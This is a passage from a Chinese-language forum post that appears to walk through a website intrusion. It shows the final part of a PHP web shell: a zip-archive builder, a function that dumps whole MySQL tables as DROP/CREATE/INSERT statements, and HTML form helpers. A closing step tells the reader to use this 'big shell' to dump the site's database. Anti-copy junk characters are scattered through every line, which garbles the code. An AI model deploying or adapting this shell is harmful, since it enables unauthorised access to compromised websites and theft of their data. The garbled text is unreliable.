  1697.                                                 if(is_dir($f)) $this->GetFileList($f);5 m" }- D# u* ?. z! H) ?0 o
  1698.                                                 $a[]=$f;
    - [% e. b# f4 d
  1699.                                         }" a0 Z' ^! x0 a
  1700.                                 }
    . }  v) d( P9 [$ x. @8 i& `! C
  1701.                                 closedir($dh);
    4 v+ [/ _- e% I( r+ B( T$ N9 }. S
  1702.                         }# A5 k" a( R4 \
  1703.                 }
    8 {( O" T. _% s1 ~) F  J9 y
  1704.                 return $a;
    1 f; X$ w  l* ]- C: a% }0 L/ C& D
  1705.         }9 h5 K5 ^* t( ^; ?8 H+ V& u

  1706. & x7 X0 j3 G( ]( q2 ^
  1707.         var $datasec      = array();8 G+ I2 H- v1 }  ?/ j6 f6 H7 H4 q
  1708.         var $ctrl_dir     = array();# u! r$ G  l8 ^/ _& n/ m
  1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    : ?* j! u" _1 \( }# {9 O: R$ l  I
  1710.         var $old_offset   = 0;
    - M% \' h6 p% C" w4 h

  1711. " e0 L' L' _) J( q! E: r
  1712.         function unix2DosTime($unixtime = 0) {! X; [( q& [+ _$ {# i. I! o
  1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
    6 ^, V) n0 f; `. j5 D" G' ?' }
  1714.                 if ($timearray['year'] < 1980) {
    4 u7 g( u: \* \3 m+ n( q  u
  1715.                         $timearray['year']    = 1980;/ N& a, R, e; \$ ]
  1716.                         $timearray['mon']     = 1;+ f! A" J# D7 [9 K
  1717.                         $timearray['mday']    = 1;
    : O# O5 @) s6 X1 `8 A' i& H
  1718.                         $timearray['hours']   = 0;
    3 U/ m- V/ P" f& X( a, K
  1719.                         $timearray['minutes'] = 0;' ~! C4 k- F5 b. a
  1720.                         $timearray['seconds'] = 0;! H4 ?2 l& @/ R: t5 v+ e
  1721.                 } // end if
    9 E) c4 K- [$ K' o, u
  1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |: i+ J8 {7 {5 [7 j5 j/ \
  1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);# O8 S5 D% L5 b, Q+ d( E1 h
  1724.         }! {$ r) E% Z& i$ L
  1725.         function addFile($data, $name, $time = 0) {
    , C; s2 Z& v+ S! _* b& e9 u$ x
  1726.                 $name = str_replace('\\', '/', $name);: t/ c) w8 j2 m  B6 T" @1 ?) w; _
  1727.                 $dtime = dechex($this->unix2DosTime($time));
    " q" f, B+ d* o$ `
  1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]: g: V: d1 ?: }% A, C1 M  F& z
  1729.                                         . '\x' . $dtime[4] . $dtime[5]
    ) U+ |! l8 H+ o3 M5 [. b
  1730.                                         . '\x' . $dtime[2] . $dtime[3]
    ; N6 L# m$ X# J* T: D! g! Z) Z/ l
  1731.                                         . '\x' . $dtime[0] . $dtime[1];! U9 @0 ?6 Z- {
  1732.                 eval('$hexdtime = "' . $hexdtime . '";');
    3 @% [$ z7 u$ ^3 K# v
  1733.                 $fr        = "\x50\x4b\x03\x04";+ h1 o: L% Z+ }
  1734.                 $fr        .= "\x14\x00";" @3 _* {/ t) O. M9 q6 u) i0 c
  1735.                 $fr        .= "\x00\x00";4 N& S4 y/ ?  O
  1736.                 $fr        .= "\x08\x00";
    - M; L& ]$ M- t; f0 L
  1737.                 $fr        .= $hexdtime;( j$ }$ b: X  _# c  _! l& I
  1738.                 $unc_len = strlen($data);5 h2 w" N/ i: s9 _
  1739.                 $crc = crc32($data);
    7 \% P" r9 D5 x
  1740.                 $zdata = gzcompress($data);. h6 T+ f! ^! C' y
  1741.                 $c_len = strlen($zdata);
    1 C2 g5 t7 r  J" ], b
  1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
    ( d, Q" w/ P3 \
  1743.                 $fr .= pack('V', $crc);
    & F3 V) W4 C/ N7 J/ [2 ~5 l
  1744.                 $fr .= pack('V', $c_len);' t7 Q2 \/ u# ~; `- Q5 \2 t" J% C3 w' x/ p
  1745.                 $fr .= pack('V', $unc_len);
    # M* D( @  n" s4 o4 V& n5 e1 e
  1746.                 $fr .= pack('v', strlen($name));
    8 h3 f7 j4 Y1 Q: I
  1747.                 $fr .= pack('v', 0);" G- l* U2 }! q2 I* ]- F8 U5 i+ o
  1748.                 $fr .= $name;+ H1 h+ m) H; B' I# [5 ^: O( I: ]
  1749.                 $fr .= $zdata;
    - T6 Q( M, ?. \6 L2 J  d, @; N
  1750.                 $fr .= pack('V', $crc);. x2 e) ^7 Y( q8 l4 t8 |
  1751.                 $fr .= pack('V', $c_len);
    " Z% `+ @0 W: V$ ]
  1752.                 $fr .= pack('V', $unc_len);
    % r$ R" q) b$ {, U" }1 J( i" P4 a
  1753.                 $this -> datasec[] = $fr;
    : K7 W9 o3 a4 b
  1754.                 $new_offset = strlen(implode('', $this->datasec));$ `3 H  v8 U" W$ b5 h' A2 ^( T
  1755.                 $cdrec = "\x50\x4b\x01\x02";+ U( a3 t  m  n) {* m; h
  1756.                 $cdrec .= "\x00\x00";
    7 k' Q# C8 @* T
  1757.                 $cdrec .= "\x14\x00";- f5 y/ [" a3 w- E8 v
  1758.                 $cdrec .= "\x00\x00";
    7 A( |% b3 |/ C& k  M& j
  1759.                 $cdrec .= "\x08\x00";0 g5 a7 S# A, r( J/ A9 Z
  1760.                 $cdrec .= $hexdtime;
    3 O+ G1 L. n+ _* v7 n6 r3 S
  1761.                 $cdrec .= pack('V', $crc);" Y9 y. A: y" U7 \0 B5 i: l
  1762.                 $cdrec .= pack('V', $c_len);8 d9 v+ T# B$ {5 q& x9 C2 k1 ^# c$ V
  1763.                 $cdrec .= pack('V', $unc_len);' Z' }; ~$ ?) P. {5 `3 O( {
  1764.                 $cdrec .= pack('v', strlen($name) );
    : m1 m: h7 T! {& e. c
  1765.                 $cdrec .= pack('v', 0 );$ r+ v; M% X: x. q
  1766.                 $cdrec .= pack('v', 0 );* o  [. {! G2 j" X
  1767.                 $cdrec .= pack('v', 0 );0 r/ K1 x( j6 V8 O9 E4 j
  1768.                 $cdrec .= pack('v', 0 );7 n% J4 O2 b$ B0 K% B7 H/ Z
  1769.                 $cdrec .= pack('V', 32 );  E7 [3 b  J* k8 u. Z
  1770.                 $cdrec .= pack('V', $this -> old_offset );
    - c$ x: I: U  J4 H" Z
  1771.                 $this -> old_offset = $new_offset;
    8 v/ I  x! K% e
  1772.                 $cdrec .= $name;5 L1 \+ }* G- F8 t) Y; G+ t/ @
  1773.                 $this -> ctrl_dir[] = $cdrec;* B8 S4 F. |  ?6 F
  1774.         }, P2 N" E& }' S
  1775.         function file() {
    % {* g" F4 B/ R# a; q
  1776.                 $data    = implode('', $this -> datasec);6 c) V! I9 y( B- Z9 v# |% ~
  1777.                 $ctrldir = implode('', $this -> ctrl_dir);( h7 r9 Y0 l0 H: n0 c6 s
  1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";; o; N7 N" I, T4 U! B0 b
  1779.         }
    ' ~2 s2 v5 @4 @6 M- a
  1780. }
    & f' r7 M; _6 w! N
  1781. // 备份数据库7 V% j- x0 i7 t. ]3 B
  1782. function sqldumptable($table, $fp=0) {
    ( @* C& Z) D; x8 C
  1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
    8 q9 L( }! L0 K  I/ U* J5 G: e
  1784.         $tabledump .= "CREATE TABLE $table (\n";
    0 Q+ q4 y* P& L; a/ r
  1785.         $firstfield=1;3 `- q  x4 g2 ]3 {* [
  1786.         $fields = q("SHOW FIELDS FROM $table");4 H& ?3 j" E7 I& [" T' S
  1787.         while ($field = mysql_fetch_array($fields)) {3 y& e# }+ O4 y: g
  1788.                 if (!$firstfield) {
    " j9 z( K$ W! m; T" n! _2 X6 P
  1789.                         $tabledump .= ",\n";
    9 ^8 }% K4 y" I$ [2 }
  1790.                 } else {7 V% b3 y0 d% q7 h  ?
  1791.                         $firstfield=0;
    2 ?, V+ h. ^+ K
  1792.                 }6 V' k) R7 x  B
  1793.                 $tabledump .= "   $field[Field] $field[Type]";& x- i# `& {; O1 L" l2 g- X- {3 B
  1794.                 if (!empty($field["Default"])) {- U5 m' T5 S# d! A
  1795.                         $tabledump .= " DEFAULT '$field[Default]'";
    9 B! g( j) a6 s/ S7 S2 d9 j
  1796.                 }
    ' j3 a6 c# n9 [7 U5 ~. y
  1797.                 if ($field['Null'] != "YES") {
    ; X2 h; a" s" h  `! ?- [0 R2 X
  1798.                         $tabledump .= " NOT NULL";
    & r+ W, c" o0 @# K  H% x2 Y9 i1 A0 q2 P
  1799.                 }
    # b9 P1 D3 x6 ^3 @
  1800.                 if ($field['Extra'] != "") {- f! T! ~" N1 J9 m1 A
  1801.                         $tabledump .= " $field[Extra]";
    + V( k8 f4 w+ o" y/ G1 m- T
  1802.                 }! g9 v4 t# W) j+ d( M3 {- ]
  1803.         }
    2 v* W$ y  h3 x: [$ w
  1804.         fr($fields);
    9 V1 \: ~& m) P# m$ M" [/ O
  1805.         $keys = q("SHOW KEYS FROM $table");( c" b4 T' E6 _( v  V0 ]
  1806.         while ($key = mysql_fetch_array($keys)) {1 J( u" s# q' t* n
  1807.                 $kname=$key['Key_name'];  t# _" T) @( T% R# P
  1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
      T* ~2 p" X# R; I  ]7 A' R
  1809.                         $kname="UNIQUE|$kname";; T; {. X' y* _2 \; P* b
  1810.                 }
    8 x6 a$ g" l) t8 k  N) Y
  1811.                 if(!is_array($index[$kname])) {
    3 B* s! E. p% S( j
  1812.                         $index[$kname] = array();
    , B" h' l7 q1 l$ F' @: r! m
  1813.                 }
    9 R# E9 @) c+ \) h- U' T- b+ ]: U; u
  1814.                 $index[$kname][] = $key['Column_name'];. x9 g3 \# L" B& O
  1815.         }% m& U! O$ ^# G1 X9 h
  1816.         fr($keys);
    5 G8 H. P# v& O
  1817.         while(list($kname, $columns) = @each($index)) {3 _! v/ C7 h; p  k) s
  1818.                 $tabledump .= ",\n";  ~) W& }0 e3 L8 Y
  1819.                 $colnames=implode($columns,",");
    . S; T7 {' Q' G' Q4 z- x
  1820.                 if ($kname == "PRIMARY") {
    , W; [, |6 k/ Y- z  K- m( i
  1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";& l7 o5 L: X2 V0 P! f! y9 m( f6 |4 V
  1822.                 } else {
    0 w) Q* I- f% Z+ q
  1823.                         if (substr($kname,0,6) == "UNIQUE") {1 a# z. n# V  r7 S# v
  1824.                                 $kname=substr($kname,7);
    + b2 s1 c- K6 ]2 S5 b' m8 H1 b- @
  1825.                         }/ Z/ S9 O* s* Z- F  k! [& z
  1826.                         $tabledump .= "   KEY $kname ($colnames)";
    9 {0 ~6 @7 l* r; S
  1827.                 }( \- i5 a3 h" ]( W8 F0 P$ Q3 r
  1828.         }7 K/ ^1 L) l/ n3 P1 }* Q
  1829.         $tabledump .= "\n);\n\n";' m& I5 n. o! u9 Q* q6 t* k
  1830.         if ($fp) {
    ) \" W4 Y& p4 w4 G, P1 T" [9 _
  1831.                 fwrite($fp,$tabledump);
    9 y6 ]$ ]5 [4 j
  1832.         } else {" F: }" @3 B' o% v% S2 G
  1833.                 echo $tabledump;6 j/ ?! `( e3 i
  1834.         }
    * K( u6 q8 R  z% N
  1835.         $rows = q("SELECT * FROM $table");/ v7 Y" b1 Y6 }) }8 }2 F
  1836.         $numfields = mysql_num_fields($rows);! C1 c' n6 f5 p; h! m
  1837.         while ($row = mysql_fetch_array($rows)) {4 R" C+ T  I4 m
  1838.                 $tabledump = "INSERT INTO $table VALUES(";5 t) U6 y& ?9 Z% Q, p0 \
  1839.                 $fieldcounter=-1;
    5 t5 j2 Y; p% J' ^8 y7 L9 `6 z
  1840.                 $firstfield=1;
    8 X* |' V$ I3 w
  1841.                 while (++$fieldcounter<$numfields) {
    ) h- C4 Q8 R& W! t1 n! f
  1842.                         if (!$firstfield) {- k/ @  _5 ^0 V, ?
  1843.                                 $tabledump.=", ";: v. t& K& y" ]" y7 V% Y# z5 b! O
  1844.                         } else {+ }1 X- b: Y+ n4 R* m
  1845.                                 $firstfield=0;
    : U% l% E; N4 D! h3 t
  1846.                         }$ \/ \. l3 X5 N7 \0 W
  1847.                         if (!isset($row[$fieldcounter])) {
    - N1 C# ?3 Y# b
  1848.                                 $tabledump .= "NULL";+ P. `- G( ^/ a9 ~6 z" B
  1849.                         } else {& R+ p) Z8 k& E0 r& L
  1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";: q7 s; h8 {! F5 N" g! G' J: E, ]! r+ E% E
  1851.                         }+ F2 P& l, o$ `1 X' v
  1852.                 }: [4 A9 o7 J( V$ c( O( g
  1853.                 $tabledump .= ");\n";: y8 m) l) e$ s9 h) f
  1854.                 if ($fp) {
    ' a  d' X- n1 l: b9 g9 q, r" m% ]
  1855.                         fwrite($fp,$tabledump);
    " z7 Z$ t5 _" T1 L: Z# N
  1856.                 } else {
    8 f% k; Y! ?' l
  1857.                         echo $tabledump;6 C( G* X4 b. p/ [# u
  1858.                 }* N1 v. d4 l: R  u* y4 {
  1859.         }6 g$ Y* w% G! r$ P  ~' {
  1860.         fr($rows);
    ; x; m* o! k5 f. S( q1 g& _
  1861.         if ($fp) {
    ) c" v5 B8 _8 t) L, J4 c, m
  1862.                 fwrite($fp,"\n");
    , N! H4 p* K8 O) R" w8 F, a, I6 K
  1863.         } else {! o3 `- M8 n* c8 v) g8 n" M
  1864.                 echo "\n";
    9 x0 T3 a, D' W0 e2 i
  1865.         }
    7 @" {! A, y! T6 j; w: g  F
  1866. }
    ; w& ]! d& ^' D- c0 I. X. _% y6 R
  1867. function ue($str){5 I6 Y. o, p; _3 s  f1 B
  1868.         return urlencode($str);  }( g  |; @) y3 v! @# Y
  1869. }3 I5 |. D& T$ L/ k& H1 _. s; j% [" B
  1870. function p($str){
    " p8 S0 ^& f/ p6 B3 i4 i
  1871.         echo $str."\n";
    - d. z; G; R, b
  1872. }
    ' h9 m! Q/ O# j
  1873. function tbhead() {( T, b5 P# h7 `( p. e
  1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
    2 Z, Q' g, @2 A! s8 F* R) v; K
  1875. }
    ! s3 n, ]# J' k: |. y3 A
  1876. function tbfoot(){
    - \- L9 o* l) y, H- Z
  1877.         p('</table>');4 k0 ?0 V2 X8 x9 [! h; c
  1878. }$ T+ A, d+ z, U: D5 y
  1879. function makehide($name,$value=''){
      y! s7 l/ \( }! k. l
  1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");9 |* n% H7 s6 J% ~$ ?/ h
  1881. }. C* D9 S9 _% n' Y3 a& n- K
  1882. function makeinput($arg = array()){
    8 t! i) X( I. \3 ^. ?* G+ c6 x/ |+ t
  1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";6 V, z- _) U$ ~
  1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
    ! u; E6 K/ v( t" @" D0 e
  1885.         !$arg['type'] && $arg['type'] = 'text';
    . y8 S, ]6 d% N) W% u6 D
  1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    % s3 n/ u$ v2 j" ?/ f) i
  1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
    6 q# q6 g8 R, b: e: K8 k
  1888.         if ($arg['newline']) {. A2 u0 M/ U  N* Y8 \) f
  1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");9 E7 h1 @$ }0 l3 h; v& @6 g1 m9 F
  1890.         } else {
    1 t  t0 o- v4 Q
  1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");! N0 X* e- |0 G7 v9 {, ?
  1892.         }
    / X8 v% d  B& ?
  1893. }" X# c8 L3 K5 i2 T
  1894. function makeselect($arg = array()){
    6 M% s7 n3 o! {& X! _$ N+ b
  1895.         if ($arg['onchange']) {
    ! O7 c# @' L/ R5 ^8 [
  1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';; A/ e* O! h: l6 t& t/ y% p
  1897.         }
    ' [6 t2 J# ?$ D# B' P7 s0 |
  1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
    , O5 `6 W8 R. S/ u$ l8 l% a# v
  1899.         if ($arg['newline']) p('<p>');
    & @7 F1 _( H8 c% U- A
  1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
    9 |& j5 Q  w9 ^
  1901.                 if (is_array($arg['option'])) {5 J& a) h: }# D  [" g+ p- \
  1902.                         foreach ($arg['option'] as $key=>$value) {
      J. g5 k7 i/ y- F" P
  1903.                                 if ($arg['selected']==$key) {
    . a+ A( @8 x8 M* Q$ N
  1904.                                         p("<option value="$key" selected>$value</option>");1 i9 D6 w. p, y6 U& ^  a& X
  1905.                                 } else {
    # i( Y! m4 X  D, o" I$ ]2 m
  1906.                                         p("<option value="$key">$value</option>");
    ( Q' s, U7 h" z1 Z( y( ~
  1907.                                 }
    1 V2 E# t; G/ ]1 u4 w
  1908.                         }5 M- u9 k2 j0 m$ a1 C8 v3 R0 e
  1909.                 }
    " ?5 q6 G  t3 C9 r: a0 Q
  1910.         p("</select>");/ k9 @7 \, w5 _6 V
  1911.         if ($arg['newline']) p('</p>');
    " @5 e! G" B% F2 s
  1912. }- _) q; D" Y  x  }
  1913. function formhead($arg = array()) {1 g: Y/ B* l0 k9 E% B- w4 j
  1914.         !$arg['method'] && $arg['method'] = 'post';
      }, c9 U  w" h- H
  1915.         !$arg['action'] && $arg['action'] = $self;4 R; o+ o1 H! S2 c. Z6 N* B
  1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
    8 d9 Z0 J0 p+ S7 W! q0 a# ~8 F
  1917.         !$arg['name'] && $arg['name'] = 'form1';( ^, A" n( S- `1 b7 n# ~. Y% t
  1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
    0 z1 b) A& A8 H6 M
  1919.         if ($arg['title']) {$ K% S# s) ?" b& h
  1920.                 p('<h2>'.$arg['title'].' »</h2>');2 O$ i1 Z7 u9 }+ b. {& b' i% c' Y
  1921.         }  K7 X. @! ~2 d# Y9 C9 J. |& X: Y
  1922. }& V6 x6 U3 }2 z
  1923.        
    ) }+ }5 _9 {2 G$ p: e
  1924. function maketext($arg = array()){/ C/ y3 S$ J9 R; I
  1925.         !$arg['cols'] && $arg['cols'] = 100;) I2 f0 U6 _& c! |" a* e* h8 p
  1926.         !$arg['rows'] && $arg['rows'] = 25;
    ( o/ b- m9 l" \1 @3 ?  z9 U1 k
  1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    - q; J1 P& t& v5 K
  1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");
      j8 C% p! c% |
  1929. }% y$ u" c# [1 \8 @0 n
  1930. 4 r2 r( g" A0 l3 ^' y
  1931. function formfooter($name = ''){3 d5 |5 L! x- t) [+ y& X: B
  1932.         !$name && $name = 'submit';  Z& B, {& d# @8 j! y, q
  1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');6 V# A  i# Q5 N) r" f+ n: D+ C
  1934.         p('</form>');* j- ?3 N6 x* ^$ n1 e% W5 I$ V5 S
  1935. }
    3 l% F( m  z" }

  1936. , G% L, ?6 ]* {/ A
  1937. function formfoot(){% g) ~' v+ \; K! ?# B( p; ]: a
  1938.         p('</form>');
    + q  P' n0 j* z6 |5 {, I6 {
  1939. }* y) V! x+ x8 I

  1940. 8 ~8 g: B+ H" v+ m  O
  1941. // 调试函数
    # H) T5 J9 ?3 l9 U) d  }0 z0 y
  1942. function pr($a) {, k9 h$ F# j$ D. ~8 O4 n$ f
  1943.         echo '<pre>';) z, q9 A! E6 l: _3 L
  1944.         print_r($a);
    6 M0 r3 `: Q( ?: V; `4 g
  1945.         echo '</pre>';
    % U+ G4 \0 _+ o) ?3 ^$ U' U
  1946. }
    0 K+ W8 U/ s, G8 P) k( \3 K! f( c' r

  1947. 3 a3 c6 n3 ^' |$ W3 j
  1948. ?>
复制代码

11、最后通过大码对网站数据库进行脱库
9 }: s* l: q8 e2 K3 T

. F) h6 h% F6 {

5 X& o4 \3 y2 a7 F
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|

GMT+8, 2026-11-3 04:46 AM , Processed in 0.128614 second(s), 23 queries .

Powered by xyh-moon X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表